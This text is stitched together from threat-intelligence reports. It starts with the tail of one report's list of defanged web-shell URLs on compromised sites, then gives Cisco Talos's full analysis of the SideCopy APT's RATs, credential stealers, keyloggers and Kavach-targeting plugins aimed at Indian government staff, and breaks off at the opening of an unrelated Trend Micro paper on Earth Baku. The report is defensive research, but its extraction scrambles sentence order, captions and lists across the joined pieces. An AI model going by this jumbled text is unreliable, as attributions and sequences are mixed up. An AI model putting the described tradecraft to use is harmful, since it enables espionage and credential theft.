hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php.zip hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php/mailer.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/mailer.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/4O4.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/b374k_rs.pl hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/pack.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/cc.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/resume/leafmailer2.8.php hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/acc/oodi.html hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/progress-report/ hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/progress-report/index.html hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_4O4.php hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/mailer.php hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/leaf.php hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/leafmailer2.8.php hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1622640929_myshell.php hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/newfil.html hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_ang3l.html hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/1594066203_up.htm 32/32 InSideCopy: How this APT continues to evolve its arsenal BY ASHEER MALHOTRA AND JUSTIN THATTIL 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 1 of 23 InSideCopy: How this APT continues to evolve its arsenal CONTENTS Summary...................................................................................................................................................................................... 3 What s new?................................................................................................................................................................................ 3 How did it work?.......................................................................................................................................................................... 3 So what?...................................................................................................................................................................................... 3 Background.................................................................................................................................................................................. 4 Early infection chain............................................................................................................................................................... 4 Latest CetaRAT infection chains............................................................................................................................................. 4 njRAT infections..................................................................................................................................................................... 7 MSI-based infection chain...................................................................................................................................................... 7 Malicious payloads...................................................................................................................................................................... 8 RATs....................................................................................................................................................................................... 8 Plugins.................................................................................................................................................................................... 9 RAT analysis................................................................................................................................................................................. 9 CetaRAT................................................................................................................................................................................. 9 DetaRAT............................................................................................................................................................................... 10 ReverseRAT.......................................................................................................................................................................... 11 MargulasRAT........................................................................................................................................................................ 11 Allakore................................................................................................................................................................................ 12 ActionRAT............................................................................................................................................................................ 12 Lilith...................................................................................................................................................................................... 13 Epicenter RAT....................................................................................................................................................................... 14 Plugin analysis........................................................................................................................................................................... 14 Files manager....................................................................................................................................................................... 14 Browser credential stealer.................................................................................................................................................... 16 Keyloggers........................................................................................................................................................................... 17 Golang malware Nodachi.................................................................................................................................................. 17 Tracking and delivery infrastructure........................................................................................................................................ 19 Observations and analyses....................................................................................................................................................... 20 Targeting.............................................................................................................................................................................. 20 Credential Harvesting........................................................................................................................................................... 22 Conclusion................................................................................................................................................................................. 23 Coverage................................................................................................................................................................................... 23 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 2 of 23 InSideCopy: How this APT continues to evolve its arsenal SUMMARY Cisco Talos is tracking an increase in the SideCopy APT's activities targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe). SideCopy is an APT group that mimics the Sidewinder APT s infection chains to deliver their own set of malware. ve discovered multiple infection chains delivering bespoke and commodity remote access trojans (RATs) such as CetaRAT, Allakore and njRAT. Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage of four new custom RAT families and two other commodity RATs known as Lilith and Epicenter. Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file enumerators to credential-stealers and keyloggers. WHAT S NEW? Cisco Talos has observed an expansion in the activity of SideCopy malware campaigns, targeting entities in India. In the past, the attackers have used malicious LNK files and documents to distribute their staple C#-based RAT. We are calling this malware CetaRAT. SideCopy also relies heavily on the use of Allakore RAT, a publicly available Delphibased RAT. Recent activity from the group, however, signals a boost in their development operations. Talos has discovered multiple new RAT families and plugins currently used in SideCopy infection chains. Targeting tactics and themes observed in SideCopy campaigns indicate a high degree of similarity to the Transparent Tribe APT (aka APT36) also targeting India. These include using decoys posing as operational documents belonging to the military and think tanks and honeytrap-based infections. involving multiple HTAs and loader DLLs to deliver the final payloads. Talos also discovered the usage of other new RATs and plugins. These include DetaRAT, ReverseRAT, MargulasRAT and ActionRAT. We ve also discovered the use of commodity RATs such as njRAT, Lilith and Epicenter by this group since as early as 2019. Successful infection of a victim results in the installation of independent plugins to serve specific purposes such as file enumeration, browser password stealing and keylogging. SO WHAT? These campaigns provide insights into the adversary operations: Their preliminary infection chains involve delivering their staple RATs. Successful infection of a victim leads to the introduction of a variety of modular plugins. HOW DID IT WORK? SideCopy s infection chains have remained relatively consistent with minor variations using malicious LNK files as entry points, followed by a convoluted infection chain Development of new RAT malware is an indication that this group of attackers are rapidly evolving their malware arsenal and post-infection tools since 2019. Their current infrastructure setup indicates a special interest in victims in Pakistan and India. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 3 of 23 InSideCopy: How this APT continues to evolve its arsenal BACKGROUND SideCopy campaigns use tactics and techniques that mimic the SideWinder APT group to deploy their own set of malware. For instance, this group actively utilizes artifact names and infection vectors identical to the Sidewinder group. SideCopy infection chains primarily consist of archive files containing malicious LNK files delivered to the victims. The filenames are meant to social engineer the victims into opening the LNK files, in turn, infecting them with SideCopy malware. What follows is a convoluted combination of malicious HTML Application files (HTA) and DOT NET-based loader DLLs that instrument CetaRAT and Allakore on the endpoints. EARLY INFECTION CHAIN The earliest discovered infection chain consisted of a LNK file that pulled down and executed an HTA from a remote location. This HTA would decode and instrument a loader DLL in memory to drop CetaRAT and another DLL (DUser. dll) (Figure 1). The dropped DLL is side-loaded into credwiz.exe. The DLL then executes CetaRAT on the infected endpoint, thereby completing the infection chain. The actors used this method in 2019 and have evolved it since then. This primitive infection chain doesn t consist of decoy documents or images and is missing the Allakore RAT component (Figure 2). LATEST CETARAT INFECTION CHAINS Beginning 2020 and into 2021, we saw the attackers improve their infection chains. These infections also begin with malicious LNK files delivered to the victims. However, what follows is a combination of three HTA files, three loader DLLs, two instances of CetaRAT in some cases, and Allakore. This indicates an effort to modularize the attack chains, although it s over-modularized in this case. Figure 1: LNK with fake PDF icon executing remote HTA using mshta.exe. Figure 2: Primitive SideCopy infection chain. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 4 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 3: Latest SideCopy infection chain. Figure 4: Latest SideCopy infection chain. The latest infection chains have also adopted the practice of displaying a decoy document (PDF) or image to the victims (Figure 3). Stage No. 1 LNK The malicious LNK contains a command (Figure 4) to run a malicious HTA file hosted on an attacker-controlled website via mshta.exe. Stage No. 2 HTA The malicious HTA file carries out the following activities: Creates a JavaScript file to restart the endpoint after 2021 Cisco. All rights reserved. the malicious HTA has completed the infection process. (The JavaScript waits for a specified time and restarts the system, enough for HTA to complete the infection.) Load and invoke a malicious Dot Net-based loader DLL (Stage 2A) into memory. Stage No. 2A Loader DLL The malicious Dot Net-based loader DLL is responsible for: Decompressing a decoy PDF and displaying it to the victim on the endpoint. Downloads another malicious HTA (Stage No. 3A) from a remote URL and executes it on the endpoint. talos-external@cisco.com | talosintelligence.com page 5 of 23 InSideCopy: How this APT continues to evolve its arsenal Downloads and executes another malicious HTA file (Stage No. 4) from a remote URL. The decoy document displayed to the victim in this case is an internal Indian Ministry of Defense (MoD) circular related to their Human Resources Management System (HRMS) (Figure 5). Stage No. 3 Malicious HTA This malicious HTA is similar to those seen previously (usually seen as Stage No. 2 in other infection chains). It is used to deploy the malicious CetaRAT embedded in the HTA file. In some cases, we ve observed instances of this malicious HTA deploying two distinct CetaRAT payloads on the same endpoint, a deviation from the usual infection chain. Stage No. 4 Malicious HTA This malicious HTA is similar to the HTA seen in Stage No. 3A of the attack chain. This HTA also: Loads another loader DLL into memory (Stage No. 4A). Collects AV product names and passes them to the loader DLL (Stage No. 4A) along with the credwiz.exe binary and DUser.dll malicious DLL to be side-loaded. Stage No. 4A Malicious loader DLL This DLL is responsible for dropping DUser.dll (Stage No. 4B side-loaded into credwiz) into a variable location, depending on the presence of a specific anti-virus products installed on the endpoint: Kaspersky Avira QuickHeal Bitdefender Avast Windows Defender 2021 Cisco. All rights reserved. Figure 5: Decoy PDF pretending to be an internal Indian Army document. talos-external@cisco.com | talosintelligence.com page 6 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 6: njRAT infection chain. This loader DLL also persists Allakore RAT on the endpoint. The side-loaded DLL is then responsible for executing Allakore. Allakore RAT is a publicly available Delphi-based RAT. It is usually called Cyrus client in SideCopy infection chains. Its capabilities include: Upload and download files. Capture screenshots from the endpoint. Enumerate directories and files. Keylogging. Steal current clipboard data. Indian Army Restructring And Re-Organization.pdf.exe director_general_level_border_coordination_ conference.pdf.exe Phase-3 of Nationwide Covid-19 Vaccination Registration.pdf.exe MSI-BASED INFECTION CHAIN NJRAT INFECTIONS Another recently discovered infection chain (Figure 6) used by SideCopy completely abandons CetaRAT and Allakore and uses njRAT instead. This infection chain is simpler than the ones seen previously. A second variation of njRAT infection chain uses selfextracting RAR-based dropper executables that consists of: Malicious VB script to set up persistence for njRAT deployed by the dropper. njRAT binary dropped and executed by the dropper. 2021 Cisco. All rights reserved. The decoy document is usually a PDF displayed to the victim. These PDFs mainly consist of themes related to the Indian Army and government. Some examples of the self-extracting dropper filenames: Stage No. 4B - Allakore Around mid-2020, we observed a deviation from the LNKbased infection chain. In this case, the attackers hosted a malicious archive (ZIP) on an attacker-controlled website freewindowssoftware[.]com. The ZIP file contained an MSI file posing as an installer for the Libre Video Locker application. On installation, the malicious MSI would install Allakore RAT into the Program Files\Libre Software Corporation\LibreVideoLocker folder (Figure 7). The final payloads consisted of three components: Loader EXE: Executed first and masquerades as a Libre video player application. It is, however, meant to run Allakore and the malicious BAT file. talos-external@cisco.com | talosintelligence.com page 7 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 7: MSI-based infection chain dropping Allakore. Persistence BAT file: Used to set up persistence for Allakore via the registry HKCU\..\Run key. Allakore RAT exe: This is a copy of the Allakore RAT built in 2019, instrumented to communicate with a known SideCopy C2 IP. MALICIOUS PAYLOADS based reverse shell that also monitors removable drives. It is based on CetaRAT. MargulasRAT: This is another custom RAT used as part of SideCopy operations. The dropper for MargulasRAT masquerades as a VPN application from India s National Informatics Centre (NIC). Allakore: Allakore is a Delphi-based RAT first observed in 2015. This RAT has been used by SideCopy extensively, along with CetaRAT. ActionRAT: ActionRAT is another Delphi-based RAT used in SideCopy s operations. At first glance, it looks quite similar to Allakore but is distinct in its implementation. We also found a C#-based version of the RAT, indicating that the attackers have ported it to the Dot Net platform, as well. Lilith: Lilith is a C++-based RAT first observed in 2016. SideCopy used a customized version of Lilith in early 2019. Lilith has also been utilized by another APT named TICK in 2018 - 19. EpicenterRAT: Epicenter is another commodity RAT observed in the wild since 2012. SideCopy s usage of Epicenter dates back to as early as 2018 - 19. This is an overview of the different final stages of infections. RATS SideCopy infections utilize a number of RATs. The RAT payloads discovered by Talos so far are: CetaRAT: SideCopy s staple RAT first seen in the wild in 2019. This was already disclosed publicly. We are calling it CetaRAT to identify it throughout this research piece. DetaRAT C#-based RAT: A previously unknown C#based RAT that contains several RAT capabilities similar to CetaRAT. ReverseRAT: Another previously undiscovered C#- 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 8 of 23 InSideCopy: How this APT continues to evolve its arsenal PLUGINS In addition to full-fledged RATs, SideCopy utilizes modular plugins to carry out specific malicious tasks on the infected endpoint: File manager: A file management component that can enumerate, download and upload files on the endpoint from/to the C2. Keyloggers: There are two keyloggers used by SideCopy. Xeytan: A publicly available C#-based keylogger available since 2016. Lavao: Another C#-based keylogger. Browser credential stealers: Again, there are two types of stealers used: C-based stealer component to steal passwords from Firefox and Chrome. C#-based stealer component to steal Chromium browser passwords. Nodachi: A previously unknown set of plugins utilized by SideCopy we re calling Nodachi. These Golang-based plugins have reconnaissance and file-stealing abilities targeting an Indian multi-factor authentication app known as Kavach. RAT ANALYSIS CETARAT CetaRAT is a C#-based RAT family first seen in the wild since 2019. Its malicious capabilities (Figure 8) include: Execution: Download and run arbitrary executables and commands. File management: Upload, download, delete, rename and enumerate files. Capture: Take screenshots and monitor clipboard data. Processes: List or kill processes on the endpoint. 2021 Cisco. All rights reserved. Figure 8: CetaRAT command codes. talos-external@cisco.com | talosintelligence.com page 9 of 23 InSideCopy: How this APT continues to evolve its arsenal DETARAT DetaRAT is a previously unknown C#-based implant used by SideCopy. This implant uses a different set of command codes (Figure 9) with a hardcoded key for communicating with its C2 servers. Its malicious capabilities include: Files management: Create, move, rename and delete directories and files. File enumeration: Retrieves detailed directory and file information recursively, including creation and last access times. Exfiltration and infiltration: Download and upload files from and to the C2. Audio: Record and upload audio files. Remote control: Control mouse cursor and clicks. Hosts file: Retrieve and send / etc/hosts file contents. Installed Software: Exfiltrate details of installed software from registry. Execution: Run arbitrary commands on the endpoint via cmd.exe. Clipboard: Get and set clipboard data. Sysinfo: The following information is sent to the C2 to fingerprint the endpoint: IP and MAC addresses. Installed anti-virus software. Processor and GPU info, RAM info, system uptime, OS details, battery charge and life. Hostname, current username and screen dimensions. 2021 Cisco. All rights reserved. Figure 9: DetaRAT command codes. talos-external@cisco.com | talosintelligence.com page 10 of 23 InSideCopy: How this APT continues to evolve its arsenal REVERSERAT This is a simple C#-based malware that opens up a reverse shell (Figure 10) to its C2 server using cmd.exe. This reverse shell also has code built into it to monitor removable drive events (Figure 11), such as connection and removal. MARGULASRAT MargualsRAT is distributed via another C#-based dropper (Figure 12) binary. The dropper masquerades as the same VPN we mentioned previously. NIC is responsible for providing IT services, such as email and VPN access, to Indian government employees, including military personnel. Another variant of the dropper deploys MargulasRAT after displaying a decoy PDF to the victim (Figure 13). This infection chain uses VBScripts to persist MargulasRAT via registry, while the dropper downloads the RAT from a remote location (Figure 14). MargulasRAT (Figure 15) is limited in capabilities, but does include: Screenshot capture: Capture a screenshot of the resolution specified by the C2, AES encrypt and send. Update self: Receives an encoded binary from C2, Figure 10: ReverseRAT reverse shell. Figure 11: USB device insertion notifier code snippet. Figure 12: Dropper opening the decoy NIC VPN portal and setting up persistence for MargulasRAT. 2021 Cisco. All rights reserved. Figure 13: Code used to download and display a decoy PDF related to the Indian Army displayed to the victim followed by activation of MargulasRAT. talos-external@cisco.com | talosintelligence.com page 11 of 23 InSideCopy: How this APT continues to evolve its arsenal writes it on a disk, and executes it. Runs cmd.exe to terminate itself afterward. Download more payloads: Receives a name and encoded payload data from the C2, then write it to disk and execute it on the infected endpoint. Stop communications: Terminate communication session with the C2 until the next run. ve observed unimplemented command codes in the MargualsRAT indicating that this RAT is actively in development by the attackers. Figure 14: Malicious VBScript used to persist MargulasRAT across reboots. ALLAKORE Allakore is a publicly available Delphibased RAT that has consistently been used in SideCopy operations along with CetaRAT. Malicious capabilities of Allakore include: Keylogging. Capture screenshots. List folders and files. Upload/Download files. Steal clipboard data. Grab/change wallpaper. In recent infections, this RAT is named Cyrus client (Figure 16). ACTIONRAT ActionRAT is a Delphi-based RAT containing a limited set of capabilities. This RAT also comes in a C# variant, indicating that the attackers have ported it to the Dot Net platform. This RAT typically uses two C2 URLs (Figure 17) one for the initial checkin to confirm infections (beacon C2 URL) and the other to instrument the RAT and send/recv commands and output data. 2021 Cisco. All rights reserved. Figure 15: Command handler of MargulasRAT. Figure 16: Allakore RAT with the name Cyrus_Client. talos-external@cisco.com | talosintelligence.com page 12 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 17: Two C2 URLs used in ActionRAT. Primary capabilities of the RAT include (Figures 18 and 19): Gather sysinfo: Collect the following information from the infected endpoint and sends the following information to the C2 at the beginning of the RAT s execution. Computer name and username. Installed anti-virus product names. Operating system name, MAC address (used as infection identifier) and architecture type (x86 or x64). Arbitrary command execution: Run arbitrary commands specified by the C2 on the endpoint. List drives: Collect drive names and total size for all drives present on the system and send them to the C2. Enumerate files: Enumerate files for a given directory on the endpoint and sends the following information to the C2: Directory names and creation time. Filepath, size and creation time. Download files: Download a file specified by the C2 to a location on disk. Download and execute: Download and then execute a file specified by the C2 on the endpoint. Upload files: Exfiltrate the contents of a specified file to the C2. Figure 18: Command codes included in the Delphi version of ActionRAT. LILITH Lilith is a commodity RAT available in the wild since 2016. The version of Lilith used in SideCopy operations consists of the following capabilities (Figure 20): Terminate or restart self. Download and execute files from specified locations. Enumerate files. Reverse shell. Figure 19: C#-based ActionRAT s command handler. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 13 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 20: Command codes and handlers in Lilith. Figure 21: Epicenter command handler. EPICENTER RAT Enumerate, launch and kill processes. Epicenter is a commodity RAT used by SideCopy since 2018. It contains a variety of capabilities (Figure 21) including: Take screenshots. Enumerate directories, delete files and folders. Check persistence status for self. Gathering system information. Gather installed Antivirus product names. Shutdown, reboot system or log the user off. Block keyboard and mouse inputs to self. FILES MANAGER Uninstall self. The files manager plugin used can scan all drives on the system recursively and record file paths to a log file named 2021 Cisco. All rights reserved. PLUGIN ANALYSIS talos-external@cisco.com | talosintelligence.com page 14 of 23 InSideCopy: How this APT continues to evolve its arsenal YYYYMMDDHHMMSS_di_output. based on the current time (Figure 22). The file paths recorded must match the following extensions: doc, ppt, xls, txt, pdf, zip, mdb, accdb, db, rar, jpg, bmp, gif, csv, bmp, docx, pptx, xlsx and png. The files manager will also send preliminary system information to the C2 and receive a command code in return: hname=&uname= &osname=&hid=&mcc= &avname=&arc= Where: hname = computer name. uname = username of currently logged in user. osname = Windows version name string. hid = hardware id i.e. a combination of processor ID, serial number and disk signature mcc = Mac Address of the endpoint. avname = either Defender Avira or depending on whichever AV is found installed. arc = or Command codes: filelist and updatefilelist Send recorded file paths from YYYYMMDDHHMMSS_di_output. to C2 server. download| : Read contents of file path specified by C2 and exfiltrate. 2021 Cisco. All rights reserved. Figure 22: Files manager command handler module. upload| : Get specified file from C2 and write to specified location on disk. execute| : Download a specific file to a location on a disk specified by the C2 and execute it. SideCopy also uses a document copier (Figure 23). This component searches for files with specific extensions across removable and fixed drives and creates an encrypted copy for itself. The encrypted copy may be exfiltrated later by another component. So far, this component only searches for doc, docx, ppt, pptx and pdf files. talos-external@cisco.com | talosintelligence.com page 15 of 23 InSideCopy: How this APT continues to evolve its arsenal ve also found standalone implementations of the document copier (called UPirate ). This consists of document copying and encryption capabilities without the C2 functionality of the file manager component. BROWSER CREDENTIAL STEALER ve observed two flavors of browser credential stealer components utilized by SideCopy (Figure 24). The first is a C-based stealer that targets Firefox and Chrome. The second credential stealer is C#-based and targets Chromium-based browsers, including: Chrome 7Star AVG Browser Amigo Kinza Blisk URBrowser CentBrowser AVAST Software Chedot SalamWeb CocCoc CCleaner Elements Browser Opera Epic Privacy Browser Yandex Kometa Slimjet Orbitum 360 Browser Sputnik Comodo Dragon uCozMedia CoolNovo Vivaldi Chromium | SRWare Iron Browser Sleipnir 6 Citrio Torch Browser Coowon Brave Browser Liebao Browser Iridium Browser QIP Surf Opera Neon Edge Chromium Figure 23: Find and save encrypted copy of file extensions specified. Figure 24: C-based browser credential stealer code for obtaining Chrome login data. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 16 of 23 InSideCopy: How this APT continues to evolve its arsenal Credentials extracted from any of these browsers installed on the endpoint are then written to a temporary log file on disk and subsequently exfiltrated to a DropBox location (Figure 25). KEYLOGGERS SideCopy uses two dedicated keyloggers for recording keystrokes, the aforementioned Xeytan (Figure 26) and Lavao (Figure 27), which is a custom keylogger first seen around mid-2019 that records timestamps, Window names and pressed key codes into a log file. GOLANG MALWARE NODACHI Figure 25: Credentials exfiltrated using the DropBox upload API. Figure 26: Xeytan keystroke recorder used in SideCopy ops. 2021 Cisco. All rights reserved. Cisco Talos also discovered a GoLang-based component re calling Nodachi. Figure 27: Lavao keylogger collecting keystrokes and window titles. talos-external@cisco.com | talosintelligence.com page 17 of 23 InSideCopy: How this APT continues to evolve its arsenal Nodachi is meant for reconnaissance and stealing different types of data from the victim s endpoint: Credential stealing: The malware uses the goLazagne library to steal the login credentials from the infected endpoint, such as internet browsers, credential managers and some sysadmin tools (Figure 28). Once the login credentials are obtained, it copies these files over to the attacker Google Drive. Steal Kavach data: Kavach (hindi for Armor ) is an authentication system used by the Government of India s (GoI) NIC agency. Kavach provides its users with an MFA application/client used for authentication of employees to access GoI s IT infrastructure, such as email. The malware looks for the kavach.db database containing login credentials of users in the directory: Figure 28: Credential stealer functionality. C:\Users\\ AppData\Roaming\kavach.db If found, the file is copied to the attacker s Google Drive (Figure 29). File lister: The GoLang malware uses the goLazagne library to lists all files with specific extensions on the endpoint: .docx, .doc, .pptx, .xls and .xml. The files found are logged into a file that is then exfiltrated again to the attackers via Google Drive APIs. One variant of Nodachi also displayed a decoy PDF downloaded from an attacker-owned Google Drive link. This decoy document is the same as the one seen in one of the latest CetaRAT infection chains (Figure 30). 2021 Cisco. All rights reserved. Figure 29: Look for kavach.db and open it. Figure 30: The same decoy document from CetaRAT infection chains is downloaded and displayed by Nodachi. Uploaded to Google Drive on March 25, 2021. talos-external@cisco.com | talosintelligence.com page 18 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 31: Country check before serving a specific payload to the requester. Figure 32: Victim logging capability of delivery servers. TRACKING AND DELIVERY INFRASTRUCTURE The data recorded in the log files consists of the following requester information: SideCopy s delivery infrastructure consists of either setting up fake websites or using compromised websites to deliver malicious artifacts to specific victims. Source IP address. Device type: tablet, mobile or computer. Operating system name. The delivery scripts verify that requests to receive artifacts/ payloads are from two specific geographies: India and Pakistan (Figure 31). If this matches, then a payload or decoy is served to the requester. User-Agent string. Architecture type: 32- or 64-bit. Browser name. All requests are logged to a log file on the delivery server to keep track of artifacts served to potential victims (Figure 32). Referrer value. Timestamp of request. City and country of origin. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 19 of 23 InSideCopy: How this APT continues to evolve its arsenal OBSERVATIONS AND ANALYSES TARGETING SideCopy uses themes predominantly designed to target military personnel in the Indian subcontinent. Many of the LNK files and decoy documents used in their attacks pose as internal, operational documents of the Indian Army. One infection posed as a seniority list of the Indian Army as recently as early 2021 (Figure 33). Apart from military themes, SideCopy also utilized publications, calls for papers/proposals and job openings related to think tanks in India to target potential victims. In one of the infections, the attackers used a malicious LNK file to deliver Allakore and CetaRAT to its victims. This specific attack chain used a decoy document posing as an advertisement of a call for proposals for the Chair of Excellence 2021 for the Centre For Land and Warfare Studies (CLAWS) in India (Figure 34). Figure 33: Decoy document related to the Indian Army. Interestingly, the same theme was seen in another recent attack conducted by the Transparent Tribe APT to deliver ObliqueRAT payloads to their victims. In another instance, we observed the attackers using a decoy document consisting of an article published by the Centre for Joint Warfare Studies (CENJOWS) in India. The article is a Geo Strategic Scan from August 2020 discussing the political and economic implications of resuming diplomatic talks between the U.S. and China (Figure 34). 2021 Cisco. All rights reserved. Figure 34: Decoy document masquerading as a legitimate CENJOWS article. talos-external@cisco.com | talosintelligence.com page 20 of 23 InSideCopy: How this APT continues to evolve its arsenal More recently, an issue brief of the Observer Research Foundation (ORF, another independent think tank based out of India) was used as a decoy by SideCopy in an attack delivering njRAT to its victims (Figure 35). Another attack from 2020 shows targeting of diplomatic personnel those working in embassies specifically. The decoy document employed in this case consisted of a circular from the Indian Ministry of External Affairs (MEA) to its employees and attachees. This infection chain also delivered Allakore and CetaRAT (Figure 36). Besides all of these email campaigns ve outlined, SideCopy also uses honeytraps to lure victims in. These infections typically consist of malicious LNK files that display explicit photos of women. The infection chain again delivers CetaRAT and Allakore. We ve also observed APT36 (Transparent Tribe) use these types of honeytraps extensively in campaigns targeting members of India s military with CrimsonRAT. Figure 35: ORF decoy document used in njRAT infections. Also like APT36, SideCopy clones legitimate websites that actually just serve malicious content. In the case of SideCopy, we discovered afghannewsnetwork[.] com, a website posing as the Pajhwok Afghan News, an Afghani independent news agency (Figure 37). This website was used as a C2 for actionRAT, delivered using malicious LNKs that used decoy documents that looked like professional resumes - another targeting tactic closely resembling APT36 (Transparent Tribe). Figure 36: Ministry of External Affairs Circular decoy document. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 21 of 23 InSideCopy: How this APT continues to evolve its arsenal Figure 37: (Left) malicious cloned website vs. (Right) Legitimate website for the Pajhwok Afghan News. CREDENTIAL HARVESTING One of SideCopy s central motives is credential harvesting. Specifically, the group looks to steal access credentials from central Indian government employees. The group commonly targets Kavach, an MFA app used across India s government. Kavach allows employees (including military personnel) to access IT resources such as email services. SideCopy has shown a particular interest in Kavach, deploying the njRAT malware with special victim IDs of kavach. They also use GoLang-based file recon plugins (Nodachi) to exfiltrate Kavach authentication databases from infected devices. Some droppers for MargulasRAT also masqueraded as installers for Kavach on Windows. ve also discovered phishing portals operated by SideCopy posing as the GoI s webmail to trick victims into divulging their email credentials (Figure 38). Figure 38: Phishing portal for webmail[.]gov[.]in set up by SideCopy. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 22 of 23 InSideCopy: How this APT continues to evolve its arsenal CONCLUSION What started as a simple infection vector by SideCopy to deliver a custom RAT (CetaRAT), has evolved into multiple variants of infection chains delivering several RATs. The use of these many infection techniques ranging from LNK files to self-extracting RAR EXEs and MSI-based installers is an indication that the actor is aggressively working to infect their victims. This threat actor is also rapidly evolving their malware set using a combination of custom and commodity RATs and plugins. The variety of post-infection plugins specifically used by the attacker signifies a focus on espionage. Targeting tactics used by SideCopy consists of multiple themes, quite similar to those utilized by APT36: military, diplomatic and honeytraps. This indicates that the group continues to target government entities in the Indian subcontinent. Product Cisco Secure Endpoint (AMP for Endpoints) Cloudlock Cisco Secure Firewall/Secure IPS (Network Security) Cisco Secure Network Analytics (Stealthwatch) Cisco Secure Cloud Analytics (Stealthwatch Cloud) Cisco Secure Malware Analytics (Threat Grid) COVERAGE Cisco Secure Web Appliance (Web Security Appliance) Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. Cisco Secure Email This boost in SideCopy s operations aided by multiple infection chains, RATs and plugins marks the group s intent to rapidly evolve their TTPs. Ways our customers can detect and block this threat are listed below. Protection Umbrella Umbrella, Cisco s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Cisco Secure Network/Cloud Analytics (Stealthwatch/ Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. SIDs 57842 - 57849 can protect against the threats outlined in this paper. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 23 of 23 Earth Baku An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor Hara Hiroaki and Ted Lee Contents TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Background Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any Attack Vectors Technical Analysis of the Loaders discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as Technical Analysis of the Payloads to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable Attribution for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an as is condition. Published by Trend Micro Research Written by Hara Hiroaki Ted Lee Stock image used under license from Shutterstock.com Conclusion and Security Recommendations Appendix Cyberespionage has become a more prevalent threat in today s security landscape, putting private enterprises and public agencies alike at risk of major upsets to their operations. This research paper covers the technical details of a new cyberespionage campaign that we believe can be traced back to the notorious advanced persistent threat (APT) group Earth Baku. In this campaign, Earth Baku s attacks have been leveled against companies in various countries in the Indo-Pacific region. Trend Micro has previously covered the various methodologies employed by this APT group, which also operates under the alias APT41. Its exploits have been well documented; the group has garnered a reputation for its use of advanced, self-developed tools.1 In fact, Earth Baku has been associated with a slew of cybercrimes such as watering hole attacks2 and spear phishing attacks.3 Its previous targets include companies in the pharmaceutical and 